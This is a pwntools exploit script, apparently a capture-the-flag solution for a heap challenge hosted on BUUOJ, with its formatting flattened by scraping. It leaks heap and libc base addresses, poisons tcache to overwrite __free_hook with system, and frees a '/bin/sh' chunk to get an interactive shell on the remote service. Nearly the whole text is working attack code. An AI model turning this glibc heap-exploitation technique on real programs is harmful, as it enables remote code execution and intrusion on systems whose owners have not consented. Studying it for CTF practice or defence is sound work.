1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| from pwn import * p=remote('node4.buuoj.cn',27133)
libc=ELF('./libc-2.31.so')
se=lambda data :p.send(data) sea=lambda delim,data :p.sendafter(delim,data) sl=lambda data :p.sendline(data) sla=lambda delim,data :p.sendlineafter(delim,data) ru=lambda delims,drop=True :p.recvuntil(delims,drop) uu32=lambda data :u32(data.ljust(4,b'\x00')) uu64=lambda data :u64(data.ljust(8,b'\x00')) lg=lambda name,addr :log.success(name+'='+hex(addr))
def cmd(i): sla('give me your choice: \n',str(i))
def addx(data,tag,addr): cmd(1) sla('data: \n',data) sea('tag: \n',tag) sleep(0.01) se(addr)
def add(data,tag): cmd(1) sla('data: \n',data) sea('tag: \n',tag)
def show(idx): cmd(2) sla('idx: \n',str(idx))
def dele(idx): cmd(3) sla('idx: \n',str(idx)) def reset(): cmd(4)
for i in range(8): add('1','1') for i in range(7): dele(i)
og=[0xe6aee,0xe6af1,0xe6af4] addx('1',b'\xff','aab') show(0) ru('b') heapbase=((uu64(ru('\n')))>>12)<<12 lg('heap',heapbase) dele(7)
addx('1',b'\xff',b'aab'+p64(heapbase+0x790)[:4]) reset()
show(1) ru('data: ') libcbase=uu64(ru('\n'))-96-0x10-libc.sym['__malloc_hook'] lg('libcbase',libcbase) onegadget=libcbase+og[0] lg('og',onegadget) malloc_hook=libcbase+libc.sym['__malloc_hook'] lg('malloc_hook',malloc_hook) free_hook=libcbase+libc.sym['__free_hook'] system=libcbase+libc.sym['system']
addx(b'a'*0x20+p64(0)+p64(0x91),b'\xff',b'aaa') addx(b'a'*0x40+p64(0)+p64(0x91),b'\xff',b'aaa'+p64(heapbase+0x680)[:4]) dele(2) dele(3)
reset() addx(b'a'*0x30+p64(0)+p64(0x91)+p64(heapbase)+p64(0)+p64(0)+p64(0x91)+p64(free_hook),b'\xff',b'aaa') addx('/bin/sh\x00',b'\xff',b'aaa') addx(p64(system),b'\xff',b'aaa') dele(3) reset()
p.interactive()
|